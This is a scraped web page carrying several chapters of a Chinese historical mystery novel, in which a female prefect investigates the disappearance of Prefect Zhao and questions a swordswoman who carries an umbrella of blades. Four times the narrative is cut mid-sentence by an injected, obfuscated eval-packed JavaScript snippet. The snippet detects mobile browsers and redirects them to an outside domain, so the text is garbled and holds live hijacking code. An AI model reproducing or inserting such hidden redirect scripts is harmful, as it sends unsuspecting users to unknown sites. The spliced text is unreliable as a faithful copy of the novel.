吕长史道:“你们不用紧张,我只是说有这个可能,也没有指名道姓说你们几个。以赵刺史的身手,就算你们一起上,也不是他对手。而且,如果你们真的跟他交过手,身上肯定有铁爪的伤痕。但当天我们就查看了你们的身体,并没有这样的伤痕。” 几名士兵放下心来,道:“大人不怀疑我们,我们就放心了。” 云水谣道:“士兵下手的可能性不大。至少要四五十名士兵一起动手,才有可能擒住赵刺史,但这么多人根本没法一拥而上,那赵刺史就方便各个击破了。而且,士兵们就算真的抓了赵刺史,能藏在哪里? 当时是大白天,人来人往的,这么大的动静不可能没人发现。” 柳依依道:“会不会是某个武功跟赵刺史差不多的士兵,自己一个人擒住了赵刺史,并把他藏在一个别人想不到的地方?” 云水谣道:“这不太可能。如果有个士兵武功跟赵刺史相近,那绝不可能是个普通的士兵,也绝不可能无人认识,早就升上来了。而且,他擒走赵刺史的目的何在?若是求财,他却没有送勒索信来。若是厌恶赵刺史,目的就是杀人,那必然会面临一个问题,就是抛尸。 直到如今,我们还没发现赵刺史的尸体,可见他大概率还没杀人。若是他的目的就是一直关着赵刺史,让朝廷派新刺史过来,那以后要怎么办?他要养着赵刺史一辈子吗?” 云水谣提出的疑问,让众官吏都难以解答。 云水谣接着对吕长史道:“吕长史,你刚才说分析出了好几种可能,还有没有别的?” 吕长史道:“这第三种可能,就是那位已故刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051384|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史的鬼魂报复。云大人也听说过,数年前,有个刺史被贬官流放,死在流放路上,临死之前说,无论谁继任幽州刺史之位,都不会有好下场。虽然这个可能性微乎其微,但赵刺史失踪得不明不白,前两任刺史又一直没有找到,有许多人都相信这个诅咒。” 云水谣道:“这可以说是绝无可能。第四任董刺史失踪的时候,关于鬼魂诅咒一说也甚嚣尘上,但最终证明董刺史的失踪是人为,他早已死在了天女会首领的手上。我想,前三任刺史的情况也类似。 有人听到这个传闻,便利用这个传闻掳走刺史,别人也只会怀疑到鬼神头上,真正的凶手就能隐藏自己了。” 吕刺史道:“是。还有第四种可能,就是跟赵刺史打斗之人,说了什么话,让董刺史心甘情愿跟着他走,并且一直没回来。” 云水谣受到了启发,道:“我觉得这种可能性很大。城墙上有兵器的痕迹,但没有血迹,说明对方跟赵刺史的武功应该不相上下,没有能力伤到赵刺史。他很有可能跟赵刺史说了什么,让赵刺史跟着他离开。 只是,对方到底是什么人呢?他到底说什么话,才能让赵刺史直接跟他走,连个音讯也没有?” 吕长史道:“这就难猜了,这几个月来,我们也没什么头绪。” 柳依依道:“赵刺史既然武功很高,会不会是对方跟他说,要带他去找一个武学名家学更高深的武艺,但学不成不许回来,也不许告诉别人,所以赵刺史就跟着走了?” 吕长史道:“其他武夫也许会被这个理由吸引,但赵刺史绝无可能。不是我在背后议论他,据我观察,赵刺史把功名利禄看得非常重要,绝不可能擅离职守。他当了十几年的五品将军,一直很想升官。 好不容易等到幽州刺史之位空缺,朝廷想起他来,让他补了缺。如果不是极为特殊的理由,他不可能直接离开。毕竟,长官无故离开任职地达到一定的时间,就作为去职处理。 像去找武学名家学武这种理由,根本没法诱.惑他。他上任刺史之后,之所以急着把梅花县打下来,不惜牺牲许多将士的性命,也是急于立功,想坐稳这个位置。实际上朝廷对于边境的镇守非常重视,暂时还没有收复失地的命令。 万一跟瀚海国的矛盾扩大,很容易威胁到幽州百姓的身家性命,所以朝廷慎之又慎。” 柳依依道:“会不会是赵刺史的家人在对方手上,所以赵刺史不得不跟他走?” 吕长史道:“我们也派人去京城打听过了,赵刺史的家人都在家里,很安全。” 柳依依道:“那我就不知道还有什么话能让他直接离开了。” 吕长史:“实际上这个可能也只是猜测,未必就是真的。” 云水谣趁着她们说话的功夫,又看了看城墙上的痕迹。除了铁爪的抓痕外,还有一种痕迹也有好几处,但云水谣不认得这个痕迹是什么兵器造成的。 这是一种半圆弧形的痕迹,但并不是一个连续的圆弧,而是由许多弯弯的线段组成的。 168.奇伞 云水谣指着这种痕迹,问吕长史:“你认得这种痕迹是什么兵器造成的吗?” 吕长史道:“之前我们也有注意到,像是弯刀的痕迹。” “但弯刀的长度似乎不足以留下这么长的半圆弧。而且这圆弧中间断成许多截,每一截的形状、大小又一模一样。” 这时,暗卫甲风道:“这是一种奇特的兵刃——弯刀伞留下的痕迹。” “弯刀伞?” “对,弯刀伞是用铁做的,收起来时,外表看着像是普通的伞。但张开来时,伞面是由四十多柄细长的弯刀所组成。只要弯刀伞一转动,那些弯刀就会轮流切割敌人的身体,非常难防。如果弯刀伞碰到墙壁,就会留下这种断断续续的圆弧形。” “原来如此。这种兵器是谁用的?” “我也不知道,我只是听说过这种兵器,但从未见过使用它的人。” 云水谣道:“看来,跟赵刺史打斗的,应该是个江湖上的高手,他的兵刃是弯刀伞……” 像这样的人,应该不太多。云水谣让甲风带领十来个暗卫去江湖上打探。 不知为何,甲风所说的弯刀伞,给云水谣一种熟悉感,她总觉得在哪见过。 云水谣喃喃道:“这个高手应该一直在跟踪赵刺史,等他在城墙上落单时,就跟他决斗。由于弯刀伞很难防,赵刺史渐渐不敌,就被掳走了。” 吕长史道:“我想当时的情况应该就是大人所说的这样。” 云水谣:“这太偶然了。按理说城墙上至少要留几名士兵把守,可赵刺史却把他们全派了出去,导致无人看见赵刺史的对手长什么样子。” 吕长史道:“也许赵刺史也不知道有人跟踪他,想把他掳走。” “赵刺史当时是孤身一人来到城墙这里的吗?没有带侍卫?” “没有。” 云水谣觉得奇怪。这里已经调查不出什么了,云水谣决定去赵刺史以前住过的房间看看。 之前虽然看过一次了,但那次看得不太仔细,这次要好好看看,也许能从细微处发现线索。 一行人原路返回,梅花县的百姓们见到云水谣等人,又想围上来为难她们。 还好暗卫们有经验了,直接架起云水谣等人,从百姓们的头顶飞了过去。等到人少的地方,再下来走路。 云水谣不会轻功,但飞起来的感觉很不错,她觉得自己要是有空可以学学。 一路走来,时不时地会见到这里的百姓在闹事。 云水谣想管,吕长史劝道:“大人,您不会武,又是姑娘家,而且没有跟敌国百姓打交道的经验,还是先别管这里的事了。这里驻守的一些军官会管的。” 云水谣点头:“也好,等我找到了几位失踪的刺史,再腾出手来治理梅花县。” 这个地方既然打下来了,现在就是幽州所辖的区域。云水谣身为幽州刺史,有责任管理好梅花县。 大约一个时辰后,众人回到了衙门。 云水谣稍作休息,就去赵刺史的房间查看。这次,她没有漏过任何细枝末节处。 过了一会,云水谣在柱子上看见了一个小孔,这个小孔像是被什么东西扎出来的,而且还比较新,不像是陈年旧孔。 她问吕长史:“吕长史,你看这个小孔,像不像是箭造成的?” 吕长史观察了一会,道:“的确像是被箭射中了,但那根箭去哪里了?之前我们都没发现。” 云水谣估算了一下箭射..进来的方向,朝正对面的窗户看去,果然看见窗户纸有一个小孔。 云水谣道:“我猜,赵刺史失踪那天,应该是有人从外面射了一支箭进房间,箭上可能还绑着纸条,约他孤身一人去梅花县的城墙相见。所以,他才会不带任何侍卫前往,到了城墙时,才会把所有士兵都支开。” 吕长史道:“大人言之有理,如此便可解答之前的两点疑问。来人,好好找找,看房间里是否有箭和纸条。” 房间里的箭倒是有许多,一眼就看见了,全是一模一样的六孔铍箭。这种箭是赵刺史的军营里统一用的箭,倒是很常见。 除了六孔铍箭外,没有发现其他的箭,也没有任何小纸条。 云水谣道:“对方射箭进来,邀赵刺史见面,应该用的是他自己的箭,不太可能跟军营里的箭相同。这里没有第二种箭,说明对方所射之箭已经被处理了,如何处理未知。至于那邀约的小纸条,应该是被烧掉了。具体是赵刺史所烧,还是其他人所烧,就不知道了。总之,关于有人飞箭传书,邀赵刺史去城墙相见一事,已经没有证据了,只能说是猜测而已,但这猜测应该是合理的。” 柳依依道:“大人,什么人能在官衙里射箭而不被其他人发现,又是什么人仅凭一张小纸条就能约赵刺史出去,还能让赵刺史不带任何随从?” 云水谣摇头道:“我也不知道。” 这时,有衙役来报:“张司马回来了,说要见刺史大人。” 云水谣道:“他终于回来了,把他请到这里来吧。” 之前云水谣因为在陆文远刺史和林益恭刺史房中发现了女子的脂粉,便让幽州司马张呈祥去调查四名刺史有没有跟什么女子过从甚密,也许这跟他们的失踪有关。 张呈祥这些天一直在外面调查,没有回来过。 现在云水谣已经知道,陆文远刺史和林益恭刺史房中的脂粉,是天女会的首领所有。这两位刺史跟天女会首领有暧.昧关系,所以他们的房间有女人的东西。 这件事倒是清楚了,云水谣盼望着张司马能带回别的消息。 很快,司马张呈祥走了进来,对云水谣行了一礼,道:“大人,您叫我调查的事,有眉目了。我查到,赵仁顺赵刺史在任的时候,似乎跟一个叫高文锦的姑娘过从甚密。 有人见到那位高姑娘频繁来找赵刺史,而且每次来时,赵刺史都会叫其他人出去,所以也不知道他们到底说了什么、做了什么。那位高姑娘好像是个游侠,长得很高,喜欢穿一身黑白相间的衣服,手上要么拿着一把伞,要么拿着一柄剑。 我根据目击者的描述,请人画下了高文锦的画像,大人请看。” 张司马拿来一张画像,让云水谣看。 画像上的女子又高又瘦,眼神犀利,容颜秀丽,手上抱着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055978|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把黑伞,竟然是今天早上在梅花县见到的那女子。 当时,云水谣等人被梅花县的百姓围住,还是这位姑娘出声提醒,可以用轻功飞起来逃出去。 多亏她的提醒,云水谣等人才有惊无险。 没想到,她竟然认识赵刺史,还过从甚密。 云水谣总觉得哪里不对,来不及多想,马上吩咐暗卫:“你们派出十个人,马上去梅花县找高文锦,找到之后立刻带回来。她武功应该很高,你们带上二十个女兵一起,应该能擒住她了。” 暗卫们道:“是。” 云水谣带来的女兵,以前都是百尺楼培养的预备杀手,功夫都很不错。二十名女兵再加上十名暗卫,应该稳了。 希望那位高文锦姑娘还留在梅花县。 司马张呈祥还候在一旁,云水谣问他:“你还查出了什么消息吗?” “没有了。” “辛苦张司马了,你先去忙吧。” 云水谣又看了看柱子上的小孔,道:“如果是高文锦飞箭传书,是不是就能把赵刺史约出去了?” 吕长史道:“应该可以。只是,若赵刺史的失踪真的跟她有关,她怎么还敢留在这里,刚才还出声提醒我们?” “我也觉得有些怪异,等抓到她再问问。” 这时,有衙役进来禀报:“两位大人,朝廷派钦差来了。” 云水谣和吕长史赶紧整理了一下衣冠,然后出去迎接。 之前云水谣把董商衡刺史死亡一案的原委上奏给了朝廷,同时说明了天女会的情况,皇上应该是有相关旨意传达。 云水谣和吕长史来到门口,见门口停着一辆豪华的黄花梨木马车,周围守着二十来个侍卫,这应该就是钦差的马车了。 云水谣赶紧跪下道:“下臣幽州刺史云水谣,携众下属恭迎钦差大人。” 有一人掀开了车帘,对云水谣道:“云大人快快请起。” 是一道熟悉的温润嗓音。 云水谣抬头一看,来人是一个蒙着双眼、风姿清逸的年轻公子,正是安正则。 云水谣起身,对他笑道:“安公子,许久不见了。怎么是您来传旨?” 安正则道:“最近比较清闲,正好皇上有旨意下达幽州,我就自请当钦差了。我六叔镇守边关,三年未归,我顺便来探亲。” “原来如此。” 两人叙旧了几句,安正则道:“皇上有旨,董刺史的事你办得不错,赐你食邑两百户。另外,天女会众首领,罪大恶极,直接在幽州处决,不必送往京城了。其余三位刺史失踪之事,也尽快查明。查明之后,还有奖赏。” 云水谣道:“谢皇上隆恩。” 她没想到,皇上竟会赏赐给她食邑。食邑内的土地归她所有,那两百户的税收也归她。从此以后,云水谣有了一笔固定收入。 她的日子也在慢慢好转了。 说完公事之后,云水谣屏退下属,请安正则进入书房,聊起私事。 她现在已经是太子一党,正好安正则过来,她们可以沟通一下近况。 云水谣问道:“太子殿下近来可好?” 169.配合 安正则道:“自从福王的外祖欧阳家覆灭,福王声势大减,也没有心思给太子挖坑了,太子稍微轻松了一些。不过,幽州第一位失踪的刺史陆文远,是在跟太子府侍卫见面的时候失踪的,此事对太子不利。 朝中已经有一些流言,说幽州失踪的几位刺史是因为得罪了太子,太子才派人掳走他们的。董商衡刺史死亡一案被查清,这些流言少了一些。 不过,还需尽快找到其他三名失踪的刺史,还太子清白。” 云水谣道:“安公子放心,我正在调查此事,其他公务都往后排了。” “那就好,你若还需要什么帮助,就叫甲风、乙木他们来找我。我先去军营探望我六叔。” “安公子慢走。” 云水谣想叫人带路,但安正则走得很顺畅,跟正常人无异,很快就上了马车,云水谣也就不再担心了。 两个时辰后,去梅花县找人的暗卫们回来了,高文锦走在他们身边,并没有被绑起来,双方也没有打斗的痕迹。 暗卫对云水谣道:“大人,我们在梅花县找到了高姑娘,跟她说了刺史大人有事想问她,她就直接跟我们回来了,并未发生打斗。” 云水谣有些惊讶,她还是第一次见到如此配合的嫌疑人。 高文锦很爽快地道:“这位大人,您有什么想问的?” 云水谣问道:“你叫什么名字,哪里人氏?” “我叫高文锦,本是扬州人氏,后来拜入嵩山派。因嵩山派在宿州,我的户籍也转到了宿州。” 云水谣听说过嵩山派,这是一个正道门派,其成员经常行侠仗义,风评很好。 云水谣:“你认识前任刺史赵仁顺赵大人吗?” 高文锦道:“认识。几个月前,我跟人比武,被赵刺史看见了。等我赢了比武后,赵刺史找上了我,说想请我帮忙攻打梅花县。我本来不想参与这样的事,但赵刺史对我说,梅花县的人民在瀚海国的统治下,生活得水深火热,每天都盼望着大夏军队去解救他们。 可惜梅花县防守严密,他久攻不下,很需要像我这样的高手帮忙。他知道我是一个行侠仗义的女侠,如果能解救一整个县的百姓,也是功德一件。 我被他说动了,就同意帮忙。那段时间,他经常叫我过去,告诉我作战策略。我也假扮成士兵,上过好几次战场。不过,一开始除了多杀了几个敌人之外,我也没发挥太大的作用。 后来有一次,赵刺史设法把梅花县的守将引了出来,他们两人交战了一阵,我再突然出现,围攻那个守将,最终把守将杀了。敌军群龙无首,军心大减,赵刺史的军队乘胜追击,最终攻占了梅花县。 我见梅花县已经收复,就离开了,从那以后也没再见过赵刺史。赵刺史好像想找我,但对我来说,功成身退才是最好的,我无意获得什么封赏。所以我隐居在了梅花县,一直到现在。” 云水谣道:“原来你频繁跟赵刺史见面,是因为他请你帮忙攻城?” “对。” “除了这件事外,你们还有没有什么别的牵扯?” “没有了。” 高文锦十分坦荡,不像说谎。她看起来不像是那种会在男女关系上牵扯不清的人,赵刺史又一心建功立业,应该也没精力、没兴趣去外面找什么情.人。就算要找,肯定也不会找高文锦这样的,高文锦也不可能同意。 因此,云水谣倒倾向于相信高文锦的话。 云水谣又问道:“五月十号那天,赵刺史接到飞箭传书,独自一人去了梅花县的城墙,是你约他去的吗?” 高文锦道:“不是。自从攻占了梅花县之后,我跟赵刺史就没再见过面了。” “那天你在哪里?” “在我自己家,但没人能证明。大人若是怀疑,可以先拘禁我。” 云水谣犹豫着要不要留下她,她看起来是清白的。但若是现在放她走,等以后发现她有问题,再想找她就难了。 权衡之下,云水谣道:“既然如此,本官先留你在这儿住几日。” 这时,云水谣忽然注意到高文锦手里拿着的伞,问道:“高姑娘,今日未曾下雨,你带伞干什么?” 高文锦道:“这是我的兵器,所以一直随身携带。” 云水谣想到了什么,问道:“这该不会是弯刀伞吧?” 高文锦有些惊讶:“大人听说过弯刀伞?我这把伞的确是弯刀伞。” 说着,她就想演示一下,云水谣赶紧说道:“等等!你别打开,把弯刀伞交给侍卫,让侍卫拿给本官看。” “好吧。” 高文锦很干脆地把弯刀伞交给了侍卫,侍卫走到云水谣身边,小心翼翼地打开了弯刀伞。 这柄伞打开之后,确实是由几十柄细长的弯刀组成,稍有不慎,不仅容易伤人,还容易划伤自己。 云水谣看过之后,就让侍卫把伞收起来。 她严肃地看着高文锦,道:“高姑娘,赵刺史失踪那天,在梅花县的城墙上与人发生了打斗。而城墙上就有弯刀伞造成的痕迹,你还说你那天没跟赵刺史见面?” 高文锦有些困惑:“我没有啊……那天我也没去城墙。” “那是否还有其他人会使用弯刀伞?” 高文锦犹豫了一下,道:“也许有,但我没听说过。” “既然如此,目前你的嫌疑是最大的,你要被暂时拘押。” “好。” “把你这段时间的住址告诉本官,本官要派人去搜查。” 高文锦将自己的住址说了,云水谣派一队暗卫前去查看。因为高文锦这段时间住在梅花县内,梅花县太乱,普通衙役去了那边怕是没法正常办差。 云水谣看着高文锦:“高姑娘,你武功太高,我必须给你戴上镣铐。” “没问题。” 高文锦直接伸出了手。 衙役们拿着镣铐,小心翼翼地上前,生怕高文锦突然攻击他们。可是,高文锦毫不挣扎,很快她的手和脚都被镣铐锁住了。 见她这么配合,云水谣也不免心生疑窦,问道:“高姑娘,你不担心自己的处境?” 高文锦一脸坦然道:“我是清白的,大人看着也不像是会屈打成招的人,所以我没什么好担心的。” “既然你攻打完梅花县之后就想功成身退,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060310|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何不直接回嵩山派,而是继续逗留在此?” 高文锦:“大人有所不知,我在门派内的地位较高,而且该学的武功已经学成了,所以门派并不拘束我的行动。我经常待在外面,想去哪里就去哪里,只要门派有事时我能赶回去就好了。 前段时间我想学习一门高深的武功,需要有安定的环境,所以我干脆在梅花县找了个地方隐居,一来可以避开赵刺史的耳目,二来也能潜心学武。” “梅花县这么乱,你是如何找到安稳的住所的?” “我隐居在山上,所以不会被人干扰。” “今日你为何会出现在人群中,还出声提醒本官?” “我本来是打算下山透透气,顺便买点东西的。谁知正好遇见几位大人来梅花县,被许多百姓包围。我怕几位大人会受伤,所以才出声提醒,没有别的意思。” “所以,我们的相遇是巧合?” “是的。” 云水谣:“你在梅花县隐居数月,应该感受到那里的乱象了。其实梅花县的百姓并不盼望着回归大夏,反而对大夏的官员很抵触。之前赵刺史请你帮忙攻打梅花县,说的是那里的人民生活在水深火热之中,日夜盼望王者之师解救。 赵刺史骗了你,你没想过惩罚他?” 高文锦:“我心里确实对他有意见,我觉得因为我的帮助,反而促成了现在的乱象。而且攻城之时,赵刺史罔顾将士性命,致使许多士兵白白牺牲,我也看不下去。但这些事也不是我一个江湖人能管的,所以我也没说什么。 正因为我跟赵刺史的想法不同,后来才会分道扬镳。” 云水谣:“你从没想过报复他,比如把他掳走,让他吃尽苦头?” 高文锦:“不会。他是朝廷命官,不是我惹得起的。如果我得罪了他甚至绑架了他,那肯定会牵连我背后的嵩山派,我不会让整个门派处于危险中。而且,行军打仗的事我也不懂,赵刺史的所作所为,也不能用简单的善恶观去评判。 他平白牺牲那么多士兵,我虽然看不下去,但也许打仗就是这么打的。他身为主将有自己的考虑,也许牺牲这些人能换来更长远的利益。不管怎么说,单从结果上来看,被侵占几十年的梅花县重新被夺回来了,也算是一件好事。所以,我不会做出伤害赵刺史的行为。 再者,我跟赵刺史的关系还没有好到让他单刀赴会的程度。如果我真的传书给他,让他独自一人来见我,他恐怕会起疑心,暗中布置很多暗卫,防着我才对。” 高文锦说的话在情在理,她也不是那种仅凭一时头脑发热就做出报复行为的莽夫。 而且,正如她所言,就算她想掳走赵刺史,赵刺史也不会给她这个机会。 高文锦的武功多高,赵刺史是清楚的。她又是江湖中人,底细不明,赵刺史肯定不会完全信任她。 不过,城墙上有弯刀伞的痕迹,这是板上钉钉的。弯刀伞又恰好是高文锦的武器,目前只能先拘押高文锦。 高文锦被带了下去,云水谣宣布退堂。 云水谣来到后堂休息,柳依依站在一边。云水谣便问她:“你觉得高文锦有嫌疑吗?” 170.起哄 柳依依沉思道:“说不清。高文锦太配合了,也太坦荡了,是我前所未见的。以前咱们遇到的嫌疑人,全都是狡猾多智、精于狡辩之徒,像高文锦这样的,倒是很特别。莫非,她真的是清白的?” 云水谣:“我也倾向于相信她,不过凡事要讲证据。弯刀伞虽然少见,但应该不止她一个人会用,也许是其他人掳走了赵刺史。还需等等甲风他们的调查结果。” 到了晚上,去搜查高文锦家的暗卫们回来了,向云水谣禀告道:“高文锦的住所确实在山上,房间很小,没什么异常,也藏不了人。” 云水谣问:“可有什么机关密室之类的?” “都仔细检查了,没有。” “既然她家在山上,那周围山高林密,应该有很多地方能藏人,你们可有在附近搜过?” “搜过了,也没发现什么。” 照这样看,高文锦的嫌疑小了一些。 第二天,云水谣去衙门,发现门口有个年轻人在徘徊。 这 年轻人身材魁梧,双眉偏黄,精神抖擞,背上背了一把长剑,一看就是练家子。 他见云水谣穿着官服,便上前问道:“这位大人,衙门里是否关了一个叫高文锦的姑娘?” 云水谣:“她确实在这里,你是她什么人?为何打听这个?” “我是她的师兄郑盈尺,听说她被官府抓了,我可否交钱赎人?” “她牵涉进赵刺史失踪一案,暂时不能离开。” “我师妹不会做这种事,是否有什么误会?” “赵刺史失踪之处,留下了弯刀伞的痕迹。你既然也是江湖中人,可有听说过其他人会使用弯刀伞?” “这……我没听说过。也许是我师妹的弯刀伞被人偷了,总之她不会攻击朝廷官员的。” “她的武器一直不离手,不会被偷的。公子与其守在这里,不如去调查一下还有谁会使用弯刀伞,那个人很有可能是真正掳走赵刺史之人。找到那个人,你师妹也就可以无罪释放了。” “好,我这就去找。还请大人不要对我师妹用刑。” “放心,高姑娘很配合,本官不会随便用刑。” 郑盈尺对云水谣拱了拱手,便离开了。 云水谣来到关押高文锦的牢房,对她说道:“你是不是有个师兄叫郑盈尺?他刚才想来赎你出去。” 高文锦有几分惊喜,道:“是啊,他是我师兄。不知他在哪里?” “我让他去帮忙找其他会使用弯刀伞的人,如果能找到,说不定能还你清白。” 高文锦道:“但愿吧。师兄一定会尽力帮我的。” “你跟你师兄感情很好吗?” “对,我们从小一起长大的,情同兄妹。” 云水谣突然问道:“赵刺史应该还没死吧?” 高文锦困惑:“啊?我不知道。” “你把他藏哪里去了?” “他真不是我掳走的。” “现在本官还能再给你一次机会,如果你老实交代,本官会考虑从轻处理。” 高文锦苦笑:“我要是知道就好了。” 看她的模样,不像作假。 云水谣刚才突然这么问,是想在她没有防备的情况下,诈出她的实话。 但高文锦的反应没有丝毫破绽,难道赵刺史失踪一案真的跟她无关? 可是,她有弯刀伞,而城墙上又刚好有弯刀伞的痕迹;她跟赵刺史认识,还帮过他,存在把赵刺史单独约出去的可能;她说赵刺史失踪当天她在家没出门,但是又没人能证明。 从这几点来看,她嫌疑很大。 但是,如果真是她,她为何要带着弯刀伞出现在云水谣面前?不是应该离官府中人越远越好吗?而且,官差去找她的时候,她既不躲,也不反抗,大大方方地就来了,云水谣问她什么她就答什么,一点隐瞒都没有。 云水谣现在也没法做出准确判断。 她问高文锦:“你的弯刀伞是谁教你使用的?” “是我师父,不过他已经过世了。” “除了你之外,他还教了别人吗?” “没有,师父会好几种兵器,弯刀伞只教给了我。” “你们门派内还有别人会使用弯刀伞吗?” “其他人不会。” “你再仔细想想,你在练习弯刀伞的时候,有没有人偷学?” “弯刀伞使用起来有很多诀窍,在一边偷看是学不会的,而且我确定没有人偷看我。” “那你师父又是从何处学来?教他弯刀伞的人还活着吗?” “这个我不太清楚。” 从高文锦这儿问不出什么有用的信息了,云水谣就离开了牢房。临走之前她嘱咐狱卒,按时给高文锦送茶送饭,不要为难。 虽然现在真相未明,但对于高文锦,云水谣还是比较喜欢的。云水谣心里自然希望高文锦跟此事无关。 几天后,有两个面生的士兵来找云水谣。看他们的服装,像是灞桥营的士兵。 他们对云水谣道:“云大人,安将军派我们前来,说是有机密之事要跟云大人说,请云大人去灞桥营一趟。” 云水谣问:“是安亭振将军吗?” “是。” 两位士兵出示了安亭振的信物。 骠骑将军安亭振,是安正则的六叔,驻扎在幽州的灞桥营。他既然派人来找云水谣,想必是有什么要事。 因此,云水谣没有耽搁,马上跟随这两个士兵去了灞桥营。 云水谣进了主帅的营帐后,见安亭振和安正则都在账内,一脸凝重。 云水谣问道:“安将军有何事找我?” 安亭振道:“今天早上,我们抓到一个瀚海国的探子。他为了活命,主动交代前任幽州刺史赵仁顺在瀚海国境内。” “什么?赵刺史被瀚海国掳走了?可有证据?” 安亭振:“那个探子说出了赵刺史的身形、样貌、生活习惯等种种细节,都十分准确,而且有些细节不是近距离观察,是不会知道的。比如他说赵刺史紧张时,会不断地捏紧拳头再放开;赵刺史生气时,右边额头上有一根青筋会跳动。 我想,他这些天应该见过赵刺史。所以,赵刺史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063612|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概率就在瀚海国的军营里。” 云水谣问:“他有没有说赵刺史是如何过去的?” “我问过,他说他不清楚。” 云水谣:“根据现有的线索推断,五月十号那天,有人把赵刺史约到了梅花县的城墙上,然后把他掳走,带到了瀚海国的军营。 赵刺史就一直被关到了现在。而那个掳走他的人,使用的武器是弯刀伞。目前我只找到一个使用弯刀伞的姑娘,已经把她关押起来,但不确定她是不是掳走赵刺史的人。” 云水谣便把这些天的案件进展简单说了一下。 安亭振道:“那个姑娘有弯刀伞,且武功高强,还帮过赵刺史的忙。若说她跟赵刺史的失踪没有关系,实在难以令人信服。她若是坚持不招,可以用刑。” 云水谣道:“我本来也想过用刑,但因为爱惜她的人才,不忍伤害。若是接下来几天还是没进展,也只好用刑了。” 安正则道:“如果真是那个姑娘做的,她不该还留在这里,也不该出现在云大人面前,更不该一天到晚带着她的伞招摇过市。这些疑点很难解释,我想此事可能还有别的内情。” 安亭振点头道:“正则所言,也有道理。不过,现在最重要的不是寻找那个掳走赵刺史的人,而是把赵刺史从敌营中救出来。等他回来了,是谁把他掳走,直接问他就可以了。” 云水谣问:“安将军可有办法把赵刺史救出来?” 安亭振道:“自从梅花县失守,瀚海国那边加强了边境的防守。现在跟大夏接壤的是易城。听说易城新增了五千守卫,还带来一些新式武器,防守得如同铁桶一般。如果贸然进攻,怕是会伤亡惨重,还未必能救回赵刺史。所以,此事还需从长计议。” “那赵刺史会不会有危险?” “我想不会。瀚海国掳走赵刺史这么久都没杀,也许是想从赵刺史口中套出什么秘密。只要赵刺史不说,就能保住性命。” “我有什么能帮上忙的吗?” “云大人可以继续寻找那个掳走赵刺史的人。找到了他,也许能通过他救回赵刺史。他既然能直接把赵刺史交给瀚海国,说明他本身也是瀚海国的奸细。不找出这个奸细,对幽州、对大夏终究是个隐患。不管那个人是高文锦,还是其他人,总之务必在意。” 云水谣肃然道:“我明白了,那我先告辞了。” 安亭振道:“正则,你送一下云大人吧。” 安正则起身道:“是。” 安正则陪着云水谣往外走。 云水谣问道:“安公子,你会在这里待多久?” “应该不会太久。叔父驻守军营,有公务在身,我也不好一直打扰。” 云水谣忽然想说“那你住到我那儿去吧”,但又觉得唐突,就忍住了。 在外面操练的士兵们见到了安正则,都热情地打招呼。 云水谣笑道:“安公子人缘很好啊。” “这是因为我给他们带了一些食品和药品,要不然他们哪里认识我。” 这时,有几个年轻的士兵起哄道:“快看啊,有女人穿官服!” 171.好奇 一时间,好多士兵都跑过来围观云水谣。不过,他们并不是为了嘲笑,而是觉得新奇。 安正则皱眉道:“看什么,没见过女官吗?” 士兵们也不怕安正则,纷纷笑道:“真没见过!”“女官真好看!”“女官大人,你能不能把我抓走?我想被你抓走。” 云水谣有些无语:“你们若犯了错,自有安将军处理。再围在这里不操练,安将军马上来打你们军棍了。” 安亭振在军中还是很有威慑力的,这些士兵不敢再围观,纷纷散开,各干各的去了。 安正则道:“这些进军营没多久的毛头小子就是这样,云大人别介意。以后若来军营,可以多带些护卫。” “嗯,这次来得匆忙,才没带什么人。以前我都带许多护卫的。” 走到军营外面时,云水谣看见附近长了一株黄梅树,十分惊喜:“快看,是黄色的梅花!” 她说完才想起安正则看不见,有些歉疚。 安正则却笑了笑:“黄梅的确很好看,以前我家就有许多黄梅树。等到了雪天,梅花上落了雪,就更有意境了。” “抱歉,安公子,我不是有意要勾.起你痛苦的回忆。” 